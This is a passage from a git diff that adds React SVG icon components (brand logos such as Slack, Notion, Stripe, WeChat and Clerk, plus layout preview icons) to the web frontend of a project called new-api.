+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconLinuxDo({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 16 16'
+      xmlns='http://www.w3.org/2000/svg'
+      width='16'
+      height='16'
+      className={cn(className)}
+      {...props}
+    >
+      <title>LinuxDO</title>
+      <g>
+        <path
+          d='M7.44 0h.13c.09 0 .19 0 .28 0h.43c.09 0 .18 0 .27 0h.25c.09 0 .17.03.26.08.15.03.29.06.44.08 1.97.38 3.78 1.47 4.95 3.11.04.06.09.12.13.18.67.96 1.15 2.11 1.3 3.28v.26c0 .15 0 .29 0 .44v.13c0 .09 0 .19 0 .28v.43c0 .09 0 .18 0 .27v.25c0 .09-.03.17-.08.26-.03.15-.06.29-.08.44-.38 1.97-1.47 3.78-3.11 4.95-.06.04-.12.09-.18.13-.96.67-2.11 1.15-3.28 1.3h-.26c-.15 0-.29 0-.44 0h-.13c-.09 0-.19 0-.28 0h-.43c-.09 0-.18 0-.27 0h-.25c-.09 0-.17-.03-.26-.08-.15-.03-.29-.06-.44-.08-1.97-.38-3.78-1.47-4.95-3.11L.59 12.6c-.67-.96-1.15-2.11-1.3-3.28v-.26c0-.15 0-.29 0-.44v-.13c0-.09 0-.19 0-.28v-.43c0-.09 0-.18 0-.27v-.25c0-.09.03-.17.08-.26.03-.15.06-.29.08-.44.38-1.97 1.47-3.78 3.11-4.95.06-.04.12-.09.18-.13C4.42.73 5.57.26 6.74.1c.26-.03.41-.1.7-.1Z'
+          fill='#efefef'
+        />
+        <path
+          d='M1.27 11.33h13.45c-.94 1.89-2.51 3.21-4.51 3.88-1.99.59-3.96.37-5.8-.57-1.25-.7-2.67-1.9-3.14-3.3Z'
+          fill='#feb005'
+        />
+        <path
+          d='M12.54 1.99c.87.7 1.82 1.59 2.18 2.68H1.27c.87-1.74 2.33-3.13 4.2-3.78 2.44-.79 5-.47 7.07 1.1Z'
+          fill='#1d1d1f'
+        />
+      </g>
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-medium.tsx b/new-api/web/default/src/assets/brand-icons/icon-medium.tsx
new file mode 100644
index 0000000..815223e
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-medium.tsx
@@ -0,0 +1,30 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconMedium({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      width='24'
+      height='24'
+      className={cn('[&>path]:stroke-current', className)}
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      {...props}
+    >
+      <title>Medium</title>
+      <path strokeWidth='0' d='M0 0h24v24H0z' fill='none' />
+      <path d='M4 4m0 2a2 2 0 0 1 2 -2h12a2 2 0 0 1 2 2v12a2 2 0 0 1 -2 2h-12a2 2 0 0 1 -2 -2z' />
+      <path d='M8 9h1l3 3l3 -3h1' />
+      <path d='M8 15l2 0' />
+      <path d='M14 15l2 0' />
+      <path d='M9 9l0 6' />
+      <path d='M15 9l0 6' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-notion.tsx b/new-api/web/default/src/assets/brand-icons/icon-notion.tsx
new file mode 100644
index 0000000..a6867bb
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-notion.tsx
@@ -0,0 +1,28 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconNotion({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      width='24'
+      height='24'
+      className={cn('[&>path]:stroke-current', className)}
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      {...props}
+    >
+      <title>Notion</title>
+      <path strokeWidth='0' d='M0 0h24v24H0z' fill='none' />
+      <path d='M11 17.5v-6.5h.5l4 6h.5v-6.5' />
+      <path d='M19.077 20.071l-11.53 .887a1 1 0 0 1 -.876 -.397l-2.471 -3.294a1 1 0 0 1 -.2 -.6v-10.741a1 1 0 0 1 .923 -.997l11.389 -.876a2 2 0 0 1 1.262 .33l1.535 1.023a2 2 0 0 1 .891 1.664v12.004a1 1 0 0 1 -.923 .997z' />
+      <path d='M4.5 5.5l2.5 2.5' />
+      <path d='M20 7l-13 1v12.5' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-skype.tsx b/new-api/web/default/src/assets/brand-icons/icon-skype.tsx
new file mode 100644
index 0000000..272180e
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-skype.tsx
@@ -0,0 +1,26 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconSkype({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      width='24'
+      height='24'
+      className={cn('[&>path]:stroke-current', className)}
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      {...props}
+    >
+      <title>Skype</title>
+      <path strokeWidth='0' d='M0 0h24v24H0z' fill='none' />
+      <path d='M12 3a9 9 0 0 1 8.603 11.65a4.5 4.5 0 0 1 -5.953 5.953a9 9 0 0 1 -11.253 -11.253a4.5 4.5 0 0 1 5.953 -5.954a8.987 8.987 0 0 1 2.65 -.396z' />
+      <path d='M8 14.5c.5 2 2.358 2.5 4 2.5c2.905 0 4 -1.187 4 -2.5c0 -1.503 -1.927 -2.5 -4 -2.5s-4 -1 -4 -2.5c0 -1.313 1.095 -2.5 4 -2.5c1.642 0 3.5 .5 4 2.5' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-slack.tsx b/new-api/web/default/src/assets/brand-icons/icon-slack.tsx
new file mode 100644
index 0000000..022b5fe
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-slack.tsx
@@ -0,0 +1,28 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconSlack({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      width='24'
+      height='24'
+      className={cn('[&>path]:stroke-current', className)}
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      {...props}
+    >
+      <title>Slack</title>
+      <path strokeWidth='0' d='M0 0h24v24H0z' fill='none' />
+      <path d='M12 12v-6a2 2 0 0 1 4 0v6m0 -2a2 2 0 1 1 2 2h-6' />
+      <path d='M12 12h6a2 2 0 0 1 0 4h-6m2 0a2 2 0 1 1 -2 2v-6' />
+      <path d='M12 12v6a2 2 0 0 1 -4 0v-6m0 2a2 2 0 1 1 -2 -2h6' />
+      <path d='M12 12h-6a2 2 0 0 1 0 -4h6m-2 0a2 2 0 1 1 2 -2v6' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-stripe.tsx b/new-api/web/default/src/assets/brand-icons/icon-stripe.tsx
new file mode 100644
index 0000000..8e009ef
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-stripe.tsx
@@ -0,0 +1,25 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconStripe({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      width='24'
+      height='24'
+      className={cn('[&>path]:stroke-current', className)}
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      {...props}
+    >
+      <title>Stripe</title>
+      <path strokeWidth='0' d='M0 0h24v24H0z' fill='none' />
+      <path d='M11.453 8.056c0 -.623 .518 -.979 1.442 -.979c1.69 0 3.41 .343 4.605 .923l.5 -4c-.948 -.449 -2.82 -1 -5.5 -1c-1.895 0 -3.373 .087 -4.5 1c-1.172 .956 -2 2.33 -2 4c0 3.03 1.958 4.906 5 6c1.961 .69 3 .743 3 1.5c0 .735 -.851 1.5 -2 1.5c-1.423 0 -3.963 -.609 -5.5 -1.5l-.5 4c1.321 .734 3.474 1.5 6 1.5c2 0 3.957 -.468 5.084 -1.36c1.263 -.979 1.916 -2.268 1.916 -4.14c0 -3.096 -1.915 -4.547 -5 -5.637c-1.646 -.605 -2.544 -1.07 -2.544 -1.807z' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-telegram.tsx b/new-api/web/default/src/assets/brand-icons/icon-telegram.tsx
new file mode 100644
index 0000000..1143fc7
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-telegram.tsx
@@ -0,0 +1,25 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconTelegram({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      width='24'
+      height='24'
+      className={cn('[&>path]:stroke-current', className)}
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      {...props}
+    >
+      <title>Telegram</title>
+      <path strokeWidth='0' d='M0 0h24v24H0z' fill='none' />
+      <path d='M15 10l-4 4l6 6l4 -16l-18 7l4 2l2 6l3 -4' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-trello.tsx b/new-api/web/default/src/assets/brand-icons/icon-trello.tsx
new file mode 100644
index 0000000..8bcefa6
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-trello.tsx
@@ -0,0 +1,27 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconTrello({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      width='24'
+      height='24'
+      className={cn('[&>path]:stroke-current', className)}
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      {...props}
+    >
+      <title>Trello</title>
+      <path strokeWidth='0' d='M0 0h24v24H0z' fill='none' />
+      <path d='M4 4m0 2a2 2 0 0 1 2 -2h12a2 2 0 0 1 2 2v12a2 2 0 0 1 -2 2h-12a2 2 0 0 1 -2 -2z' />
+      <path d='M7 7h3v10h-3z' />
+      <path d='M14 7h3v6h-3z' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-wechat.tsx b/new-api/web/default/src/assets/brand-icons/icon-wechat.tsx
new file mode 100644
index 0000000..254d12f
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-wechat.tsx
@@ -0,0 +1,38 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconWeChat({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 1024 1024'
+      xmlns='http://www.w3.org/2000/svg'
+      width='20'
+      height='20'
+      className={cn('fill-current', className)}
+      {...props}
+    >
+      <title>WeChat</title>
+      <path d='M690.1 377.4c5.9 0 11.8.2 17.6.5C683.3 249.2 549.4 150.8 387.8 150.8 209 150.8 64 271.4 64 420.2c0 81.1 43.6 154.2 111.9 203.6 5.5 3.9 9.1 10.3 9.1 17.6 0 2.4-.5 4.6-1.1 6.9-5.5 20.3-14.2 52.8-14.6 54.3-.7 2.6-1.7 5.2-1.7 7.9 0 5.9 4.8 10.8 10.8 10.8 2.3 0 4.2-.9 6.2-2l70.9-40.9c5.3-3.1 11-5 17.2-5 3.2 0 6.4.5 9.5 1.4 33.1 9.5 68.8 14.8 105.7 14.8 6 0 11.9-.1 17.8-.4-7.1-21-10.9-43.1-10.9-66 0-135.8 132.2-245.8 295.3-245.8zm-194.3-86.5c23.8 0 43.2 19.3 43.2 43.1s-19.3 43.1-43.2 43.1c-23.8 0-43.2-19.3-43.2-43.1s19.4-43.1 43.2-43.1zm-215.9 86.2c-23.8 0-43.2-19.3-43.2-43.1s19.3-43.1 43.2-43.1 43.2 19.3 43.2 43.1-19.4 43.1-43.2 43.1z' />
+      <path d='M866.7 792.7c56.9-41.2 93.2-102 93.2-169.7 0-124-120.8-224.5-269.9-224.5-149 0-269.9 100.5-269.9 224.5S540.9 847.5 690 847.5c30.8 0 60.6-4.4 88.1-12.3 2.6-.8 5.2-1.2 7.9-1.2 5.2 0 9.9 1.6 14.3 4.1l59.1 34c1.7 1 3.3 1.7 5.2 1.7 2.4 0 4.7-.9 6.4-2.6 1.7-1.7 2.6-4 2.6-6.4 0-2.2-.9-4.4-1.4-6.6-.3-1.2-7.6-28.3-12.2-45.3-.5-1.9-.9-3.8-.9-5.7.1-5.9 3.1-11.2 7.6-14.5zm-266.5-205.5c-19.9 0-36-16.1-36-35.9s16.1-35.9 36-35.9 36 16.1 36 35.9c0 19.8-16.2 35.9-36 35.9zm179.9 0c-19.9 0-36-16.1-36-35.9s16.1-35.9 36-35.9 36 16.1 36 35.9c-.1 19.8-16.2 35.9-36 35.9z' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-whatsapp.tsx b/new-api/web/default/src/assets/brand-icons/icon-whatsapp.tsx
new file mode 100644
index 0000000..32ac7d2
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-whatsapp.tsx
@@ -0,0 +1,26 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconWhatsapp({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      width='24'
+      height='24'
+      className={cn('[&>path]:stroke-current', className)}
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      {...props}
+    >
+      <title>WhatsApp</title>
+      <path strokeWidth='0' d='M0 0h24v24H0z' fill='none' />
+      <path d='M3 21l1.65 -3.8a9 9 0 1 1 3.4 2.9l-5.05 .9' />
+      <path d='M9 10a.5 .5 0 0 0 1 0v-1a.5 .5 0 0 0 -1 0v1a5 5 0 0 0 5 5h1a.5 .5 0 0 0 0 -1h-1a.5 .5 0 0 0 0 1' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-zoom.tsx b/new-api/web/default/src/assets/brand-icons/icon-zoom.tsx
new file mode 100644
index 0000000..0116466
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-zoom.tsx
@@ -0,0 +1,26 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconZoom({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      width='24'
+      height='24'
+      className={cn('[&>path]:stroke-current', className)}
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      {...props}
+    >
+      <title>Zoom</title>
+      <path strokeWidth='0' d='M0 0h24v24H0z' fill='none' />
+      <path d='M17.011 9.385v5.128l3.989 3.487v-12z' />
+      <path d='M3.887 6h10.08c1.468 0 3.033 1.203 3.033 2.803v8.196a.991 .991 0 0 1 -.975 1h-10.373c-1.667 0 -2.652 -1.5 -2.652 -3l.01 -8a.882 .882 0 0 1 .208 -.71a.841 .841 0 0 1 .67 -.287z' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/index.ts b/new-api/web/default/src/assets/brand-icons/index.ts
new file mode 100644
index 0000000..29e5f7a
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/index.ts
@@ -0,0 +1,18 @@
+export { IconDiscord } from './icon-discord'
+export { IconDocker } from './icon-docker'
+export { IconFacebook } from './icon-facebook'
+export { IconFigma } from './icon-figma'
+export { IconGithub } from './icon-github'
+export { IconGitlab } from './icon-gitlab'
+export { IconGmail } from './icon-gmail'
+export { IconLinuxDo } from './icon-linuxdo'
+export { IconMedium } from './icon-medium'
+export { IconNotion } from './icon-notion'
+export { IconSkype } from './icon-skype'
+export { IconSlack } from './icon-slack'
+export { IconStripe } from './icon-stripe'
+export { IconTelegram } from './icon-telegram'
+export { IconTrello } from './icon-trello'
+export { IconWeChat } from './icon-wechat'
+export { IconWhatsapp } from './icon-whatsapp'
+export { IconZoom } from './icon-zoom'
diff --git a/new-api/web/default/src/assets/clerk-full-logo.tsx b/new-api/web/default/src/assets/clerk-full-logo.tsx
new file mode 100644
index 0000000..9635f9e
--- /dev/null
+++ b/new-api/web/default/src/assets/clerk-full-logo.tsx
@@ -0,0 +1,41 @@
+import { type SVGProps } from 'react'
+
+export function ClerkFullLogo(props: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      width={77}
+      height={24}
+      viewBox='0 0 77 24'
+      fill='none'
+      xmlns='http://www.w3.org/2000/svg'
+      {...props}
+    >
+      <path
+        d='M35.148 16.738a4.198 4.198 0 01-3.06 1.283 3.53 3.53 0 01-2.604-1.034c-.619-.645-.975-1.566-.975-2.665 0-2.199 1.432-3.703 3.58-3.703a3.914 3.914 0 013.034 1.377l1.859-1.644c-1.211-1.47-3.176-2.229-5.042-2.229-3.652 0-6.24 2.517-6.24 6.22 0 1.831.643 3.374 1.728 4.463s2.631 1.728 4.415 1.728c2.317 0 4.166-.94 5.203-2.122l-1.898-1.674zM38.727 3.428h2.766V20.34h-2.766V3.428zM54.818 15.283c.046-.368.07-.74.076-1.11 0-3.507-2.296-6.047-5.847-6.047a5.738 5.738 0 00-4.215 1.725c-1.038 1.089-1.66 2.631-1.66 4.47 0 3.749 2.642 6.216 6.146 6.216 2.35 0 4.043-.951 5.058-2.242l-1.812-1.605-.09-.076a3.749 3.749 0 01-3.008 1.406c-1.778 0-3.061-1.037-3.427-2.737h8.779zm-8.733-2.22a3.365 3.365 0 01.737-1.449 3.082 3.082 0 012.368-.996c1.58 0 2.57.988 2.911 2.445h-6.016zM63.445 8.09v3.084a13.36 13.36 0 00-.838-.05c-2.094 0-3.282 1.505-3.282 3.479v5.736h-2.763V8.261h2.763v1.83h.025c.938-1.283 2.284-1.997 3.75-1.997l.345-.004zM69.887 15.281l-1.998 2.222v2.837h-2.764V3.428h2.764v10.374L72.822 8.3h3.283l-4.341 4.86 4.417 7.18h-3.11l-3.133-5.059h-.051z'
+        fill='#1F0256'
+      />
+      <path
+        d='M19.116 3.16l-2.88 2.881a.571.571 0 01-.701.084 6.854 6.854 0 00-10.39 5.647 6.867 6.867 0 00.979 3.764.571.571 0 01-.084.699l-2.88 2.88a.57.57 0 01-.865-.063A11.994 11.994 0 0119.051 2.295a.57.57 0 01.065.866z'
+        fill='url(#paint0_linear_26568_214324)'
+      />
+      <path
+        d='M19.113 20.829l-2.88-2.88a.571.571 0 00-.7-.085 6.854 6.854 0 01-7.081 0 .571.571 0 00-.7.084l-2.881 2.88a.57.57 0 00.062.877 11.994 11.994 0 0014.114 0 .571.571 0 00.066-.876zM11.997 15.422a3.427 3.427 0 100-6.854 3.427 3.427 0 000 6.854z'
+        fill='#1F0256'
+      />
+      <defs>
+        <linearGradient
+          id='paint0_linear_26568_214324'
+          x1={16.4087}
+          y1={-1.75881}
+          x2={-7.88473}
+          y2={22.5365}
+          gradientUnits='userSpaceOnUse'
+        >
+          <stop stopColor='#17CCFC' />
+          <stop offset={0.5} stopColor='#5D31FF' />
+          <stop offset={1} stopColor='#F35AFF' />
+        </linearGradient>
+      </defs>
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/clerk-logo.tsx b/new-api/web/default/src/assets/clerk-logo.tsx
new file mode 100644
index 0000000..efae313
--- /dev/null
+++ b/new-api/web/default/src/assets/clerk-logo.tsx
@@ -0,0 +1,23 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function ClerkLogo({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      id='clerk'
+      height='24'
+      width='24'
+      className={cn('[&>path]:fill-foreground', className)}
+      {...props}
+    >
+      <title>Clerk</title>
+      <path
+        d='m21.47 20.829 -2.881 -2.881a0.572 0.572 0 0 0 -0.7 -0.084 6.854 6.854 0 0 1 -7.081 0 0.576 0.576 0 0 0 -0.7 0.084l-2.881 2.881a0.576 0.576 0 0 0 -0.103 0.69 0.57 0.57 0 0 0 0.166 0.186 12 12 0 0 0 14.113 0 0.58 0.58 0 0 0 0.239 -0.423 0.576 0.576 0 0 0 -0.172 -0.453Zm0.002 -17.668 -2.88 2.88a0.569 0.569 0 0 1 -0.701 0.084A6.857 6.857 0 0 0 8.724 8.08a6.862 6.862 0 0 0 -1.222 3.692 6.86 6.86 0 0 0 0.978 3.764 0.573 0.573 0 0 1 -0.083 0.699l-2.881 2.88a0.567 0.567 0 0 1 -0.864 -0.063A11.993 11.993 0 0 1 6.771 2.7a11.99 11.99 0 0 1 14.637 -0.405 0.566 0.566 0 0 1 0.232 0.418 0.57 0.57 0 0 1 -0.168 0.448Zm-7.118 12.261a3.427 3.427 0 1 0 0 -6.854 3.427 3.427 0 0 0 0 6.854Z'
+        strokeWidth='1'
+      ></path>
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/custom/icon-dir.tsx b/new-api/web/default/src/assets/custom/icon-dir.tsx
new file mode 100644
index 0000000..af4ada1
--- /dev/null
+++ b/new-api/web/default/src/assets/custom/icon-dir.tsx
@@ -0,0 +1,110 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+import { type Direction } from '@/context/direction-provider'
+
+type IconDirProps = SVGProps<SVGSVGElement> & {
+  dir: Direction
+}
+
+export function IconDir({ dir, className, ...props }: IconDirProps) {
+  return (
+    <svg
+      data-name={`icon-dir-${dir}`}
+      xmlns='http://www.w3.org/2000/svg'
+      viewBox='0 0 79.86 51.14'
+      className={cn(dir === 'rtl' && 'rotate-y-180', className)}
+      {...props}
+    >
+      <path
+        d='M23.42.51h51.92c2.21 0 4 1.79 4 4v42.18c0 2.21-1.79 4-4 4H23.42s-.04-.02-.04-.04V.55s.02-.04.04-.04z'
+        opacity={0.15}
+      />
+      <path
+        fill='none'
+        opacity={0.72}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+        strokeWidth='2px'
+        d='M5.56 14.88L17.78 14.88'
+      />
+      <path
+        fill='none'
+        opacity={0.48}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+        strokeWidth='2px'
+        d='M5.56 22.09L16.08 22.09'
+      />
+      <path
+        fill='none'
+        opacity={0.55}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+        strokeWidth='2px'
+        d='M5.56 18.38L14.93 18.38'
+      />
+      <g strokeLinecap='round' strokeMiterlimit={10}>
+        <circle cx={7.51} cy={7.4} r={2.54} opacity={0.8} />
+        <path
+          fill='none'
+          opacity={0.8}
+          strokeWidth='2px'
+          d='M12.06 6.14L17.78 6.14'
+        />
+        <path fill='none' opacity={0.6} d='M11.85 8.79L16.91 8.79' />
+      </g>
+      <path
+        fill='none'
+        opacity={0.62}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+        strokeWidth='3px'
+        d='M29.41 7.4L34.67 7.4'
+      />
+      <rect
+        x={28.76}
+        y={11.21}
+        width={26.03}
+        height={2.73}
+        rx={0.64}
+        ry={0.64}
+        opacity={0.44}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+      <rect
+        x={28.76}
+        y={17.01}
+        width={44.25}
+        height={13.48}
+        rx={0.64}
+        ry={0.64}
+        opacity={0.3}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+      <rect
+        x={28.76}
+        y={33.57}
+        width={44.25}
+        height={4.67}
+        rx={0.64}
+        ry={0.64}
+        opacity={0.21}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+      <rect
+        x={28.76}
+        y={41.32}
+        width={36.21}
+        height={4.67}
+        rx={0.64}
+        ry={0.64}
+        opacity={0.3}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/custom/icon-layout-compact.tsx b/new-api/web/default/src/assets/custom/icon-layout-compact.tsx
new file mode 100644
index 0000000..5bcaa7b
--- /dev/null
+++ b/new-api/web/default/src/assets/custom/icon-layout-compact.tsx
@@ -0,0 +1,131 @@
+import { type SVGProps } from 'react'
+
+export function IconLayoutCompact(props: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      data-name='icon-layout-compact'
+      xmlns='http://www.w3.org/2000/svg'
+      viewBox='0 0 79.86 51.14'
+      {...props}
+    >
+      <rect
+        x={5.84}
+        y={5.2}
+        width={4}
+        height={40}
+        rx={2}
+        ry={2}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+      <g stroke='#fff' strokeLinecap='round' strokeMiterlimit={10}>
+        <path
+          fill='none'
+          opacity={0.66}
+          strokeWidth='2px'
+          d='M7.26 11.56L8.37 11.56'
+        />
+        <path
+          fill='none'
+          opacity={0.51}
+          strokeWidth='2px'
+          d='M7.26 14.49L8.37 14.49'
+        />
+        <path
+          fill='none'
+          opacity={0.52}
+          strokeWidth='2px'
+          d='M7.26 17.39L8.37 17.39'
+        />
+        <circle cx={7.81} cy={7.25} r={1.16} fill='#fff' opacity={0.8} />
+      </g>
+      <path
+        fill='none'
+        opacity={0.75}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+        strokeWidth='3px'
+        d='M15.81 14.49L22.89 14.49'
+      />
+      <rect
+        x={14.93}
+        y={18.39}
+        width={22.19}
+        height={2.73}
+        rx={0.64}
+        ry={0.64}
+        opacity={0.5}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+      <rect
+        x={14.93}
+        y={5.89}
+        width={59.16}
+        height={2.73}
+        rx={0.64}
+        ry={0.64}
+        opacity={0.9}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+      <rect
+        x={14.93}
+        y={24.22}
+        width={32.68}
+        height={19.95}
+        rx={2.11}
+        ry={2.11}
+        opacity={0.4}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+      <g strokeLinecap='round' strokeMiterlimit={10}>
+        <rect
+          x={59.05}
+          y={38.15}
+          width={2.01}
+          height={3.42}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.32}
+        />
+        <rect
+          x={54.78}
+          y={34.99}
+          width={2.01}
+          height={6.58}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.44}
+        />
+        <rect
+          x={63.17}
+          y={32.86}
+          width={2.01}
+          height={8.7}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.53}
+        />
+        <rect
+          x={67.54}
+          y={29.17}
+          width={2.01}
+          height={12.4}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.66}
+        />
+      </g>
+      <g opacity={0.5}>
+        <circle cx={62.16} cy={18.63} r={7.5} />
+        <path d='M62.16 11.63c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.14-7-7 3.14-7 7-7m0-1c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8z' />
+      </g>
+      <g opacity={0.74}>
+        <path d='M63.04 18.13l3.38-5.67c.93.64 1.7 1.48 2.26 2.47.56.98.89 2.08.96 3.21h-6.6z' />
+        <path d='M66.57 13.19a6.977 6.977 0 012.52 4.44h-5.17l2.65-4.44m-.31-1.43l-4.1 6.87h8c0-1.39-.36-2.75-1.04-3.95a8.007 8.007 0 00-2.86-2.92z' />
+      </g>
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/custom/icon-layout-default.tsx b/new-api/web/default/src/assets/custom/icon-layout-default.tsx
new file mode 100644
index 0000000..57722c6
--- /dev/null
+++ b/new-api/web/default/src/assets/custom/icon-layout-default.tsx
@@ -0,0 +1,124 @@
+import { type SVGProps } from 'react'
+
+export function IconLayoutDefault(props: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      data-name='con-layout-default'
+      xmlns='http://www.w3.org/2000/svg'
+      viewBox='0 0 79.86 51.14'
+      {...props}
+    >
+      <path
